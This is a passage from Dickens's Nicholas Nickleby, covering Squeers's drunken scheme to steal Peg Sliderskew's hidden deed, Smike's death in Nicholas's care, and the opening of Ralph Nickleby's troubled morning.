ease, and +without any risk of straining the old and greasy material of which +it was composed. + +So attired, and in a place so far removed from his usual haunts and +occupations, and so very poor and wretched in its character, perhaps +Mrs Squeers herself would have had some difficulty in recognising +her lord: quickened though her natural sagacity doubtless would have +been by the affectionate yearnings and impulses of a tender wife. +But Mrs Squeers's lord it was; and in a tolerably disconsolate mood +Mrs Squeers's lord appeared to be, as, helping himself from a black +bottle which stood on the table beside him, he cast round the +chamber a look, in which very slight regard for the objects within +view was plainly mingled with some regretful and impatient +recollection of distant scenes and persons. + +There were, certainly, no particular attractions, either in the room +over which the glance of Mr Squeers so discontentedly wandered, or +in the narrow street into which it might have penetrated, if he had +thought fit to approach the window. The attic chamber in which he +sat was bare and mean; the bedstead, and such few other articles of +necessary furniture as it contained, were of the commonest +description, in a most crazy state, and of a most uninviting +appearance. The street was muddy, dirty, and deserted. Having but +one outlet, it was traversed by few but the inhabitants at any time; +and the night being one of those on which most people are glad to be +within doors, it now presented no other signs of life than the dull +glimmering of poor candles from the dirty windows, and few sounds +but the pattering of the rain, and occasionally the heavy closing of +some creaking door. + +Mr Squeers continued to look disconsolately about him, and to listen +to these noises in profound silence, broken only by the rustling of +his large coat, as he now and then moved his arm to raise his glass +to his lips. Mr Squeers continued to do this for some time, until +the increasing gloom warned him to snuff the candle. Seeming to be +slightly roused by this exertion, he raised his eye to the ceiling, +and fixing it upon some uncouth and fantastic figures, traced upon +it by the wet and damp which had penetrated through the roof, broke +into the following soliloquy: + +'Well, this is a pretty go, is this here! An uncommon pretty go! +Here have I been, a matter of how many weeks--hard upon six--a +follering up this here blessed old dowager petty larcenerer,'--Mr +Squeers delivered himself of this epithet with great difficulty and +effort,--'and Dotheboys Hall a-running itself regularly to seed the +while! That's the worst of ever being in with a owdacious chap like +that old Nickleby. You never know when he's done with you, and if +you're in for a penny, you're in for a pound.' + +This remark, perhaps, reminded Mr Squeers that he was in for a +hundred pound at any rate. His countenance relaxed, and he raised +his glass to his mouth with an air of greater enjoyment of its +contents than he had before evinced. + +'I never see,' soliloquised Mr Squeers in continuation, 'I never see +nor come across such a file as that old Nickleby. Never! He's out +of everybody's depth, he is. He's what you may call a rasper, is +Nickleby. To see how sly and cunning he grubbed on, day after day, +a-worming and plodding and tracing and turning and twining of +hisself about, till he found out where this precious Mrs Peg was +hid, and cleared the ground for me to work upon. Creeping and +crawling and gliding, like a ugly, old, bright-eyed, stagnation- +blooded adder! Ah! He'd have made a good 'un in our line, but it +would have been too limited for him; his genius would have busted +all bonds, and coming over every obstacle, broke down all before it, +till it erected itself into a monneyment of--Well, I'll think of the +rest, and say it when conwenient.' + +Making a halt in his reflections at this place, Mr Squeers again put +his glass to his lips, and drawing a dirty letter from his pocket, +proceeded to con over its contents with the air of a man who had +read it very often, and now refreshed his memory rather in the +absence of better amusement than for any specific information. + +'The pigs is well,' said Mr Squeers, 'the cows is well, and the boys +is bobbish. Young Sprouter has been a-winking, has he? I'll wink +him when I get back. "Cobbey would persist in sniffing while he was +a-eating his dinner, and said that the beef was so strong it made +him."--Very good, Cobbey, we'll see if we can't make you sniff a +little without beef. "Pitcher was took with another fever,"--of +course he was--"and being fetched by his friends, died the day after +he got home,"--of course he did, and out of aggravation; it's part +of a deep-laid system. There an't another chap in the school but +that boy as would have died exactly at the end of the quarter: +taking it out of me to the very last, and then carrying his spite to +the utmost extremity. "The juniorest Palmer said he wished he was +in Heaven." I really don't know, I do NOT know what's to be done +with that young fellow; he's always a-wishing something horrid. He +said once, he wished he was a donkey, because then he wouldn't have +a father as didn't love him! Pretty wicious that for a child of +six!' + +Mr Squeers was so much moved by the contemplation of this hardened +nature in one so young, that he angrily put up the letter, and +sought, in a new train of ideas, a subject of consolation. + +'It's a long time to have been a-lingering in London,' he said; 'and +this is a precious hole to come and live in, even if it has been +only for a week or so. Still, one hundred pound is five boys, and +five boys takes a whole year to pay one hundred pounds, and there's +their keep to be substracted, besides. There's nothing lost, +neither, by one's being here; because the boys' money comes in just +the same as if I was at home, and Mrs Squeers she keeps them in +order. There'll be some lost time to make up, of course. There'll +be an arrear of flogging as'll have to be gone through: still, a +couple of days makes that all right, and one don't mind a little +extra work for one hundred pound. It's pretty nigh the time to wait +upon the old woman. From what she said last night, I suspect that +if I'm to succeed at all, I shall succeed tonight; so I'll have half +a glass more, to wish myself success, and put myself in spirits. +Mrs Squeers, my dear, your health!' + +Leering with his one eye as if the lady to whom he drank had been +actually present, Mr Squeers--in his enthusiasm, no doubt--poured +out a full glass, and emptied it; and as the liquor was raw spirits, +and he had applied himself to the same bottle more than once +already, it is not surprising that he found himself, by this time, +in an extremely cheerful state, and quite enough excited for his +purpose. + +What this purpose was soon appeared; for, after a few turns about +the room to steady himself, he took the bottle under his arm and the +glass in his hand, and blowing out the candle as if he purposed +being gone some time, stole out upon the staircase, and creeping +softly to a door opposite his own, tapped gently at it. + +'But what's the use of tapping?' he said, 'She'll never hear. I +suppose she isn't doing anything very particular; and if she is, it +don't much matter, that I see.' + +With this brief preface, Mr Squeers applied his hand to the latch of +the door, and thrusting his head into a garret far more deplorable +than that he had just left, and seeing that there was nobody there +but an old woman, who was bending over a wretched fire (for although +the weather was still warm, the evening was chilly), walked in, and +tapped her on the shoulder. + +'Well, my Slider,' said Mr Squeers, jocularly. + +'Is that you?' inquired Peg. + +'Ah! it's me, and me's the first person singular, nominative case, +agreeing with the verb "it's", and governed by Squeers understood, +as a acorn, a hour; but when the h is sounded, the a only is to be +used, as a and, a art, a ighway,' replied Mr Squeers, quoting at +random from the grammar. 'At least, if it isn't, you don't know any +better, and if it is, I've done it accidentally.' + +Delivering this reply in his accustomed tone of voice, in which of +course it was inaudible to Peg, Mr Squeers drew a stool to the fire, +and placing himself over against her, and the bottle and glass on +the floor between them, roared out again, very loud, + +'Well, my Slider!' + +'I hear you,' said Peg, receiving him very graciously. + +'I've come according to promise,' roared Squeers. + +'So they used to say in that part of the country I come from,' +observed Peg, complacently, 'but I think oil's better.' + +'Better than what?' roared Squeers, adding some rather strong +language in an undertone. + +'No,' said Peg, 'of course not.' + +'I never saw such a monster as you are!' muttered Squeers, looking +as amiable as he possibly could the while; for Peg's eye was upon +him, and she was chuckling fearfully, as though in delight at having +made a choice repartee, 'Do you see this? This is a bottle.' + +'I see it,' answered Peg. + +'Well, and do you see THIS?' bawled Squeers. 'This is a glass.' Peg +saw that too. + +'See here, then,' said Squeers, accompanying his remarks with +appropriate action, 'I fill the glass from the bottle, and I say +"Your health, Slider," and empty it; then I rinse it genteelly with +a little drop, which I'm forced to throw into the fire--hallo! we +shall have the chimbley alight next--fill it again, and hand it over +to you.' + +'YOUR health,' said Peg. + +'She understands that, anyways,' muttered Squeers, watching Mrs +Sliderskew as she dispatched her portion, and choked and gasped in a +most awful manner after so doing. 'Now then, let's have a talk. +How's the rheumatics?' + +Mrs Sliderskew, with much blinking and chuckling, and with looks +expressive of her strong admiration of Mr Squeers, his person, +manners, and conversation, replied that the rheumatics were better. + +'What's the reason,' said Mr Squeers, deriving fresh facetiousness +from the bottle; 'what's the reason of rheumatics? What do they +mean? What do people have'em for--eh?' + +Mrs Sliderskew didn't know, but suggested that it was possibly +because they couldn't help it. + +'Measles, rheumatics, hooping-cough, fevers, agers, and lumbagers,' +said Mr Squeers, 'is all philosophy together; that's what it is. +The heavenly bodies is philosophy, and the earthly bodies is +philosophy. If there's a screw loose in a heavenly body, that's +philosophy; and if there's screw loose in a earthly body, that's +philosophy too; or it may be that sometimes there's a little +metaphysics in it, but that's not often. Philosophy's the chap for +me. If a parent asks a question in the classical, commercial, or +mathematical line, says I, gravely, "Why, sir, in the first place, +are you a philosopher?"--"No, Mr Squeers," he says, "I an't." "Then, +sir," says I, "I am sorry for you, for I shan't be able to explain +it." Naturally, the parent goes away and wishes he was a +philosopher, and, equally naturally, thinks I'm one.' + +Saying this, and a great deal more, with tipsy profundity and a +serio-comic air, and keeping his eye all the time on Mrs Sliderskew, +who was unable to hear one word, Mr Squeers concluded by helping +himself and passing the bottle: to which Peg did becoming reverence. + +'That's the time of day!' said Mr Squeers. 'You look twenty pound +ten better than you did.' + +Again Mrs Sliderskew chuckled, but modesty forbade her assenting +verbally to the compliment. + +'Twenty pound ten better,' repeated Mr Squeers, 'than you did that +day when I first introduced myself. Don't you know?' + +'Ah!' said Peg, shaking her head, 'but you frightened me that day.' + +'Did I?' said Squeers; 'well, it was rather a startling thing for a +stranger to come and recommend himself by saying that he knew all +about you, and what your name was, and why you were living so quiet +here, and what you had boned, and who you boned it from, wasn't it?' + +Peg nodded her head in strong assent. + +'But I know everything that happens in that way, you see,' continued +Squeers. 'Nothing takes place, of that kind, that I an't up to +entirely. I'm a sort of a lawyer, Slider, of first-rate standing, +and understanding too; I'm the intimate friend and confidential +adwiser of pretty nigh every man, woman, and child that gets +themselves into difficulties by being too nimble with their fingers, +I'm--' + +Mr Squeers's catalogue of his own merits and accomplishments, which +was partly the result of a concerted plan between himself and Ralph +Nickleby, and flowed, in part, from the black bottle, was here +interrupted by Mrs Sliderskew. + +'Ha, ha, ha!' she cried, folding her arms and wagging her head; 'and +so he wasn't married after all, wasn't he. Not married after all?' + +'No,' replied Squeers, 'that he wasn't!' + +'And a young lover come and carried off the bride, eh?' said Peg. + +'From under his very nose,' replied Squeers; 'and I'm told the young +chap cut up rough besides, and broke the winders, and forced him to +swaller his wedding favour which nearly choked him.' + +'Tell me all about it again,' cried Peg, with a malicious relish of +her old master's defeat, which made her natural hideousness +something quite fearful; 'let's hear it all again, beginning at the +beginning now, as if you'd never told me. Let's have it every word +--now--now--beginning at the very first, you know, when he went to +the house that morning!' + +Mr Squeers, plying Mrs Sliderskew freely with the liquor, and +sustaining himself under the exertion of speaking so loud by +frequent applications to it himself, complied with this request by +describing the discomfiture of Arthur Gride, with such improvements +on the truth as happened to occur to him, and the ingenious +invention and application of which had been very instrumental in +recommending him to her notice in the beginning of their +acquaintance. Mrs Sliderskew was in an ecstasy of delight, rolling +her head about, drawing up her skinny shoulders, and wrinkling her +cadaverous face into so many and such complicated forms of ugliness, +as awakened the unbounded astonishment and disgust even of Mr +Squeers. + +'He's a treacherous old goat,' said Peg, 'and cozened me with +cunning tricks and lying promises, but never mind. I'm even with +him. I'm even with him.' + +'More than even, Slider,' returned Squeers; 'you'd have been even +with him if he'd got married; but with the disappointment besides, +you're a long way ahead. Out of sight, Slider, quite out of sight. +And that reminds me,' he added, handing her the glass, 'if you want +me to give you my opinion of them deeds, and tell you what you'd +better keep and what you'd better burn, why, now's your time, +Slider.' + +'There an't no hurry for that,' said Peg, with several knowing looks +and winks. + +'Oh! very well!' observed Squeers, 'it don't matter to me; you asked +me, you know. I shouldn't charge you nothing, being a friend. +You're the best judge of course. But you're a bold woman, Slider.' + +'How do you mean, bold?' said Peg. + +'Why, I only mean that if it was me, I wouldn't keep papers as might +hang me, littering about when they might be turned into money--them +as wasn't useful made away with, and them as was, laid by +somewheres, safe; that's all,' returned Squeers; 'but everybody's +the best judge of their own affairs. All I say is, Slider, I +wouldn't do it.' + +'Come,' said Peg, 'then you shall see 'em.' + +'I don't want to see 'em,' replied Squeers, affecting to be out of +humour; 'don't talk as if it was a treat. Show 'em to somebody +else, and take their advice.' + +Mr Squeers would, very likely, have carried on the farce of being +offended a little longer, if Mrs Sliderskew, in her anxiety to +restore herself to her former high position in his good graces, had +not become so extremely affectionate that he stood at some risk of +being smothered by her caresses. Repressing, with as good a grace +as possible, these little familiarities--for which, there is reason +to believe, the black bottle was at least as much to blame as any +constitutional infirmity on the part of Mrs Sliderskew--he protested +that he had only been joking: and, in proof of his unimpaired good- +humour, that he was ready to examine the deeds at once, if, by so +doing, he could afford any satisfaction or relief of mind to his +fair friend. + +'And now you're up, my Slider,' bawled Squeers, as she rose to fetch +them, 'bolt the door.' + +Peg trotted to the door, and after fumbling at the bolt, crept to +the other end of the room, and from beneath the coals which filled +the bottom of the cupboard, drew forth a small deal box. Having +placed this on the floor at Squeers's feet, she brought, from under +the pillow of her bed, a small key, with which she signed to that +gentleman to open it. Mr Squeers, who had eagerly followed her +every motion, lost no time in obeying this hint: and, throwing back +the lid, gazed with rapture on the documents which lay within. + +'Now you see,' said Peg, kneeling down on the floor beside him, and +staying his impatient hand; 'what's of no use we'll burn; what we +can get any money by, we'll keep; and if there's any we could get +him into trouble by, and fret and waste away his heart to shreds, +those we'll take particular care of; for that's what I want to do, +and what I hoped to do when I left him.' + +'I thought,' said Squeers, 'that you didn't bear him any particular +good-will. But, I say, why didn't you take some money besides?' + +'Some what?' asked Peg. + +'Some money,' roared Squeers. 'I do believe the woman hears me, and +wants to make me break a wessel, so that she may have the pleasure +of nursing me. Some money, Slider, money!' + +'Why, what a man you are to ask!' cried Peg, with some contempt. +'If I had taken money from Arthur Gride, he'd have scoured the whole +earth to find me--aye, and he'd have smelt it out, and raked it up, +somehow, if I had buried it at the bottom of the deepest well in +England. No, no! I knew better than that. I took what I thought +his secrets were hid in: and them he couldn't afford to make public, +let'em be worth ever so much money. He's an old dog; a sly, old, +cunning, thankless dog! He first starved, and then tricked me; and +if I could I'd kill him.' + +'All right, and very laudable,' said Squeers. 'But, first and +foremost, Slider, burn the box. You should never keep things as may +lead to discovery. Always mind that. So while you pull it to pieces +(which you can easily do, for it's very old and rickety) and burn it +in little bits, I'll look over the papers and tell you what they +are.' + +Peg, expressing her acquiescence in this arrangement, Mr Squeers +turned the box bottom upwards, and tumbling the contents upon the +floor, handed it to her; the destruction of the box being an +extemporary device for engaging her attention, in case it should +prove desirable to distract it from his own proceedings. + +'There!' said Squeers; 'you poke the pieces between the bars, and +make up a good fire, and I'll read the while. Let me see, let me +see.' And taking the candle down beside him, Mr Squeers, with great +eagerness and a cunning grin overspreading his face, entered upon +his task of examination. + +If the old woman had not been very deaf, she must have heard, when +she last went to the door, the breathing of two persons close behind +it: and if those two persons had been unacquainted with her +infirmity, they must probably have chosen that moment either for +presenting themselves or taking to flight. But, knowing with whom +they had to deal, they remained quite still, and now, not only +appeared unobserved at the door--which was not bolted, for the bolt +had no hasp--but warily, and with noiseless footsteps, advanced into +the room. + +As they stole farther and farther in by slight and scarcely +perceptible degrees, and with such caution that they scarcely seemed +to breathe, the old hag and Squeers little dreaming of any such +invasion, and utterly unconscious of there being any soul near but +themselves, were busily occupied with their tasks. The old woman, +with her wrinkled face close to the bars of the stove, puffing at +the dull embers which had not yet caught the wood; Squeers stooping +down to the candle, which brought out the full ugliness of his face, +as the light of the fire did that of his companion; both intently +engaged, and wearing faces of exultation which contrasted strongly +with the anxious looks of those behind, who took advantage of the +slightest sound to cover their advance, and, almost before they had +moved an inch, and all was silent, stopped again. This, with the +large bare room, damp walls, and flickering doubtful light, combined +to form a scene which the most careless and indifferent spectator +(could any have been present) could scarcely have failed to derive +some interest from, and would not readily have forgotten. + +Of the stealthy comers, Frank Cheeryble was one, and Newman Noggs +the other. Newman had caught up, by the rusty nozzle, an old pair +of bellows, which were just undergoing a flourish in the air +preparatory to a descent upon the head of Mr Squeers, when Frank, +with an earnest gesture, stayed his arm, and, taking another step in +advance, came so close behind the schoolmaster that, by leaning +slightly forward, he could plainly distinguish the writing which he +held up to his eye. + +Mr Squeers, not being remarkably erudite, appeared to be +considerably puzzled by this first prize, which was in an engrossing +hand, and not very legible except to a practised eye. Having tried +it by reading from left to right, and from right to left, and +finding it equally clear both ways, he turned it upside down with no +better success. + +'Ha, ha, ha!' chuckled Peg, who, on her knees before the fire, was +feeding it with fragments of the box, and grinning in most devilish +exultation. 'What's that writing about, eh?' + +'Nothing particular,' replied Squeers, tossing it towards her. +'It's only an old lease, as well as I can make out. Throw it in the +fire.' + +Mrs Sliderskew complied, and inquired what the next one was. + +'This,' said Squeers, 'is a bundle of overdue acceptances and +renewed bills of six or eight young gentlemen, but they're all MPs, +so it's of no use to anybody. Throw it in the fire!' Peg did as she +was bidden, and waited for the next. + +'This,' said Squeers, 'seems to be some deed of sale of the right of +presentation to the rectory of Purechurch, in the valley of Cashup. +Take care of that, Slider, literally for God's sake. It'll fetch +its price at the Auction Mart.' + +'What's the next?' inquired Peg. + +'Why, this,' said Squeers, 'seems, from the two letters that's with +it, to be a bond from a curate down in the country, to pay half a +year's wages of forty pound for borrowing twenty. Take care of +that, for if he don't pay it, his bishop will very soon be down upon +him. We know what the camel and the needle's eye means; no man as +can't live upon his income, whatever it is, must expect to go to +heaven at any price. It's very odd; I don't see anything like it +yet.' + +'What's the matter?' said Peg. + +'Nothing,' replied Squeers, 'only I'm looking for--' + +Newman raised the bellows again. Once more, Frank, by a rapid +motion of his arm, unaccompanied by any noise, checked him in his +purpose. + +'Here you are,' said Squeers, 'bonds--take care of them. Warrant of +attorney--take care of that. Two cognovits--take care of them. +Lease and release--burn that. Ah! "Madeline Bray--come of age or +marry--the said Madeline"--here, burn THAT!' + +Eagerly throwing towards the old woman a parchment that he caught up +for the purpose, Squeers, as she turned her head, thrust into the +breast of his large coat, the deed in which these words had caught +his eye, and burst into a shout of triumph. + +'I've got it!' said Squeers. 'I've got it! Hurrah! The plan was a +good one, though the chance was desperate, and the day's our own at +last!' + +Peg demanded what he laughed at, but no answer was returned. +Newman's arm could no longer be restrained; the bellows, descending +heavily and with unerring aim on the very centre of Mr Squeers's +head, felled him to the floor, and stretched him on it flat and +senseless. + + + +CHAPTER 58 + +In which one Scene of this History is closed + + +Dividing the distance into two days' journey, in order that his +charge might sustain the less exhaustion and fatigue from travelling +so far, Nicholas, at the end of the second day from their leaving +home, found himself within a very few miles of the spot where the +happiest years of his life had been passed, and which, while it +filled his mind with pleasant and peaceful thoughts, brought back +many painful and vivid recollections of the circumstances in which +he and his had wandered forth from their old home, cast upon the +rough world and the mercy of strangers. + +It needed no such reflections as those which the memory of old days, +and wanderings among scenes where our childhood has been passed, +usually awaken in the most insensible minds, to soften the heart of +Nicholas, and render him more than usually mindful of his drooping +friend. By night and day, at all times and seasons: always +watchful, attentive, and solicitous, and never varying in the +discharge of his self-imposed duty to one so friendless and helpless +as he whose sands of life were now fast running out and dwindling +rapidly away: he was ever at his side. He never left him. To +encourage and animate him, administer to his wants, support and +cheer him to the utmost of his power, was now his constant and +unceasing occupation. + +They procured a humble lodging in a small farmhouse, surrounded by +meadows where Nicholas had often revelled when a child with a troop +of merry schoolfellows; and here they took up their rest. + +At first, Smike was strong enough to walk about, for short distances +at a time, with no other support or aid than that which Nicholas +could afford him. At this time, nothing appeared to interest him so +much as visiting those places which had been most familiar to his +friend in bygone days. Yielding to this fancy, and pleased to find +that its indulgence beguiled the sick boy of many tedious hours, and +never failed to afford him matter for thought and conversation +afterwards, Nicholas made such spots the scenes of their daily +rambles: driving him from place to place in a little pony-chair, and +supporting him on his arm while they walked slowly among these old +haunts, or lingered in the sunlight to take long parting looks of +those which were most quiet and beautiful. + +It was on such occasions as these, that Nicholas, yielding almost +unconsciously to the interest of old associations, would point out +some tree that he had climbed, a hundred times, to peep at the young +birds in their nest; and the branch from which he used to shout to +little Kate, who stood below terrified at the height he had gained, +and yet urging him higher still by the intensity of her admiration. +There was the old house too, which they would pass every day, +looking up at the tiny window through which the sun used to stream +in and wake him on the summer mornings--they were all summer +mornings then--and climbing up the garden-wall and looking over, +Nicholas could see the very rose-bush which had come, a present to +Kate, from some little lover, and she had planted with her own +hands. There were the hedgerows where the brother and sister had so +often gathered wild flowers together, and the green fields and shady +paths where they had so often strayed. There was not a lane, or +brook, or copse, or cottage near, with which some childish event was +not entwined, and back it came upon the mind--as events of childhood +do--nothing in itself: perhaps a word, a laugh, a look, some slight +distress, a passing thought or fear: and yet more strongly and +distinctly marked, and better remembered, than the hardest trials or +severest sorrows of a year ago. + +One of these expeditions led them through the churchyard where was +his father's grave. 'Even here,' said Nicholas softly, 'we used to +loiter before we knew what death was, and when we little thought +whose ashes would rest beneath; and, wondering at the silence, sit +down to rest and speak below our breath. Once, Kate was lost, and +after an hour of fruitless search, they found her, fast asleep, +under that tree which shades my father's grave. He was very fond of +her, and said when he took her up in his arms, still sleeping, that +whenever he died he would wish to be buried where his dear little +child had laid her head. You see his wish was not forgotten.' + +Nothing more passed at the time, but that night, as Nicholas sat +beside his bed, Smike started from what had seemed to be a slumber, +and laying his hand in his, prayed, as the tears coursed down his +face, that he would make him one solemn promise. + +'What is that?' said Nicholas, kindly. 'If I can redeem it, or hope +to do so, you know I will.' + +'I am sure you will,' was the reply. 'Promise me that when I die, I +shall be buried near--as near as they can make my grave--to the tree +we saw today.' + +Nicholas gave the promise; he had few words to give it in, but they +were solemn and earnest. His poor friend kept his hand in his, and +turned as if to sleep. But there were stifled sobs; and the hand +was pressed more than once, or twice, or thrice, before he sank to +rest, and slowly loosed his hold. + +In a fortnight's time, he became too ill to move about. Once or +twice, Nicholas drove him out, propped up with pillows; but the +motion of the chaise was painful to him, and brought on fits of +fainting, which, in his weakened state, were dangerous. There was +an old couch in the house, which was his favourite resting-place by +day; and when the sun shone, and the weather was warm, Nicholas had +this wheeled into a little orchard which was close at hand, and his +charge being well wrapped up and carried out to it, they used to sit +there sometimes for hours together. + +It was on one of these occasions that a circumstance took place, +which Nicholas, at the time, thoroughly believed to be the mere +delusion of an imagination affected by disease; but which he had, +afterwards, too good reason to know was of real and actual +occurrence. + +He had brought Smike out in his arms--poor fellow! a child might +have carried him then--to see the sunset, and, having arranged his +couch, had taken his seat beside it. He had been watching the whole +of the night before, and being greatly fatigued both in mind and +body, gradually fell asleep. + +He could not have closed his eyes five minutes, when he was awakened +by a scream, and starting up in that kind of terror which affects a +person suddenly roused, saw, to his great astonishment, that his +charge had struggled into a sitting posture, and with eyes almost +starting from their sockets, cold dew standing on his forehead, and +in a fit of trembling which quite convulsed his frame, was calling +to him for help. + +'Good Heaven, what is this?' said Nicholas, bending over him. 'Be +calm; you have been dreaming.' + +'No, no, no!' cried Smike, clinging to him. 'Hold me tight. Don't +let me go. There, there. Behind the tree!' + +Nicholas followed his eyes, which were directed to some distance +behind the chair from which he himself had just risen. But, there +was nothing there. + +'This is nothing but your fancy,' he said, as he strove to compose +him; 'nothing else, indeed.' + +'I know better. I saw as plain as I see now,' was the answer. 'Oh! +say you'll keep me with you. Swear you won't leave me for an +instant!' + +'Do I ever leave you?' returned Nicholas. 'Lie down again--there! +You see I'm here. Now, tell me; what was it?' + +'Do you remember,' said Smike, in a low voice, and glancing +fearfully round, 'do you remember my telling you of the man who +first took me to the school?' + +'Yes, surely.' + +'I raised my eyes, just now, towards that tree--that one with the +thick trunk--and there, with his eyes fixed on me, he stood!' + +'Only reflect for one moment,' said Nicholas; 'granting, for an +instant, that it's likely he is alive and wandering about a lonely +place like this, so far removed from the public road, do you think +that at this distance of time you could possibly know that man +again?' + +'Anywhere--in any dress,' returned Smike; 'but, just now, he stood +leaning upon his stick and looking at me, exactly as I told you I +remembered him. He was dusty with walking, and poorly dressed--I +think his clothes were ragged--but directly I saw him, the wet +night, his face when he left me, the parlour I was left in, and the +people that were there, all seemed to come back together. When he +knew I saw him, he looked frightened; for he started, and shrunk +away. I have thought of him by day, and dreamt of him by night. He +looked in my sleep, when I was quite a little child, and has looked +in my sleep ever since, as he did just now.' + +Nicholas endeavoured, by every persuasion and argument he could +think of, to convince the terrified creature that his imagination +had deceived him, and that this close resemblance between the +creation of his dreams and the man he supposed he had seen was but a +proof of it; but all in vain. When he could persuade him to remain, +for a few moments, in the care of the people to whom the house +belonged, he instituted a strict inquiry whether any stranger had +been seen, and searched himself behind the tree, and through the +orchard, and upon the land immediately adjoining, and in every place +near, where it was possible for a man to lie concealed; but all in +vain. Satisfied that he was right in his original conjecture, he +applied himself to calming the fears of Smike, which, after some +time, he partially succeeded in doing, though not in removing the +impression upon his mind; for he still declared, again and again, in +the most solemn and fervid manner, that he had positively seen what +he had described, and that nothing could ever remove his conviction +of its reality. + +And now, Nicholas began to see that hope was gone, and that, upon +the partner of his poverty, and the sharer of his better fortune, +the world was closing fast. There was little pain, little +uneasiness, but there was no rallying, no effort, no struggle for +life. He was worn and wasted to the last degree; his voice had sunk +so low, that he could scarce be heard to speak. Nature was +thoroughly exhausted, and he had lain him down to die. + +On a fine, mild autumn day, when all was tranquil and at peace: when +the soft sweet air crept in at the open window of the quiet room, +and not a sound was heard but the gentle rustling of the leaves: +Nicholas sat in his old place by the bedside, and knew that the time +was nearly come. So very still it was, that, every now and then, he +bent down his ear to listen for the breathing of him who lay asleep, +as if to assure himself that life was still there, and that he had +not fallen into that deep slumber from which on earth there is no +waking. + +While he was thus employed, the closed eyes opened, and on the pale +face there came a placid smile. + +'That's well!' said Nicholas. 'The sleep has done you good.' + +'I have had such pleasant dreams,' was the answer. 'Such pleasant, +happy dreams!' + +'Of what?' said Nicholas. + +The dying boy turned towards him, and, putting his arm about his +neck, made answer, 'I shall soon be there!' + +After a short silence, he spoke again. + +'I am not afraid to die,' he said. 'I am quite contented. I almost +think that if I could rise from this bed quite well I would not wish +to do so, now. You have so often told me we shall meet again--so +very often lately, and now I feel the truth of that so strongly-- +that I can even bear to part from you.' + +The trembling voice and tearful eye, and the closer grasp of the arm +which accompanied these latter words, showed how they filled the +speaker's heart; nor were there wanting indications of how deeply +they had touched the heart of him to whom they were addressed. + +'You say well,' returned Nicholas at length, 'and comfort me very +much, dear fellow. Let me hear you say you are happy, if you can.' + +'I must tell you something, first. I should not have a secret from +you. You would not blame me, at a time like this, I know.' + +'I blame you!' exclaimed Nicholas. + +'I am sure you would not. You asked me why I was so changed, and-- +and sat so much alone. Shall I tell you why?' + +'Not if it pains you,' said Nicholas. 'I only asked that I might +make you happier, if I could.' + +'I know. I felt that, at the time.' He drew his friend closer to +him. 'You will forgive me; I could not help it, but though I would +have died to make her happy, it broke my heart to see--I know he +loves her dearly--Oh! who could find that out so soon as I?' + +The words which followed were feebly and faintly uttered, and broken +by long pauses; but, from them, Nicholas learnt, for the first time, +that the dying boy, with all the ardour of a nature concentrated on +one absorbing, hopeless, secret passion, loved his sister Kate. + +He had procured a lock of her hair, which hung at his breast, folded +in one or two slight ribbons she had worn. He prayed that, when he +was dead, Nicholas would take it off, so that no eyes but his might +see it, and that when he was laid in his coffin and about to be +placed in the earth, he would hang it round his neck again, that it +might rest with him in the grave. + +Upon his knees Nicholas gave him this pledge, and promised again +that he should rest in the spot he had pointed out. They embraced, +and kissed each other on the cheek. + +'Now,' he murmured, 'I am happy.' + +He fell into a light slumber, and waking smiled as before; then, +spoke of beautiful gardens, which he said stretched out before him, +and were filled with figures of men, women, and many children, all +with light upon their faces; then, whispered that it was Eden--and +so died. + + + +CHAPTER 59 + +The Plots begin to fail, and Doubts and Dangers to disturb the +Plotter + + +Ralph sat alone, in the solitary room where he was accustomed to +take his meals, and to sit of nights when no profitable occupation +called him abroad. Before him was an untasted breakfast, and near +to where his fingers beat restlessly upon the table, lay his watch. +It was long past the time at which, for many years, he had put it in +his pocket and gone with measured steps downstairs to the business +of the day, but he took as little heed of its monotonous warning, as +of the meat and drink before him, and remained with his head resting +on one hand, and his eyes fixed moodily on the ground. + +This departure from his regular and constant habit, in one so +regular and unvarying in all that appertained to the daily pursuit +of riches, would almost of itself have told that the usurer was not +well. That he laboured under some mental or bodily indisposition, +and that it was one of no slight kind so to affect a man like him, +was sufficiently shown by his haggard face, jaded air, and hollow +languid eyes: which he raised at last with a start and a hasty +glance around him, as one who suddenly awakes from sleep, and cannot +immediately recognise the place in which he finds himself. + +'What is this,' he said, 'that hangs over me, and I cannot shake +off? I have never pampered myself, and should not be ill. I have +never moped, and pined, and yielded to fancies; but what CAN a man +do without rest?' + +He pressed his hand upon his forehead. + +'Night after night comes and goes, and I have no rest. If I sleep, +what rest is that which is disturbed by constant dreams of the same +detested faces crowding round me--of the same detested people, in +every variety of action, mingling with all I say and do, and always +to my defeat? Waking, what rest have I, constantly haunted by this +heavy shadow of--I know not what--which is its worst character? I +must have rest. One night's unbroken rest, and I should be a man +again.' + +Pushing the table from him while he spoke, as though he loathed the +sight of food, he encountered the watch: the hands of which were +almost upon noon. + +'This is strange!' he said; 'noon, and Noggs not here! What drunken +brawl keeps him away? I would give something now--something in +money even after that dreadful loss--if he had stabbed a man in a +tavern scuffle, or broken into a house, or picked a pocket, or done +anything that would send him abroad with an iron ring upon his leg, +and rid me of him. Better still, if I could throw temptation in his +way, and lure him on to rob me. He should be welcome to what he +took, so I brought the law upon him; for he is a traitor, I swear! +How, or when, or where, I don't know, though I suspect.' + +After waiting for another half-hour, he dispatched the woman who +kept his house to Newman's lodging, to inquire if he were ill, and +why he had not come or sent. She brought back answer that he had +not been home all night, and that no one could tell her anything +about him. + +'But there is a gentleman, sir,' she said, 'below, who was standing +at the door when I came in, and he says--' + +'What says he?' demanded Ralph, turning angrily upon her. 'I told +you I would see nobody.' + +'He says,' replied the woman, abashed by his harshness, 'that he +comes on very particular business which admits of no excuse; and I +thought perhaps it might be about--' + +'About what, in the devil's name?' said Ralph. 'You spy and +speculate on people's business with me, do you?' + +'Dear, no, sir! I saw you were anxious, and thought it might be +about Mr Noggs; that's all.' + +'Saw I was anxious!' muttered Ralph; 'they all watch me, now. Where +is this person? You did not say I was not down yet, I hope?' + +The woman replied that he was in the little office, and that she had +said her master was engaged, but she would take the message. + +'Well,' said Ralph, 'I'll see him. Go you to your kitchen, and keep +there. Do you mind me?' + +Glad to be released, the woman quickly disappeared. Collecting +himself, and assuming as much of his accustomed manner as his utmost +resolution could summon, Ralph descended the stairs. After pausing +for a few moments, with his hand upon the lock, he entered Newman's +room, and confronted Mr Charles Cheeryble. + +Of all men alive, this was one of the last he would have wished to +meet at any time; but, now that he recognised in him only the patron +and protector of Nicholas, he would rather have seen a spectre. One +beneficial effect, however, the encounter had upon him. It +instantly roused all his dormant energies; rekindled in his breast +the passions that, for many years, had found an improving home +there; called up all his wrath, hatred, and malice; restored the 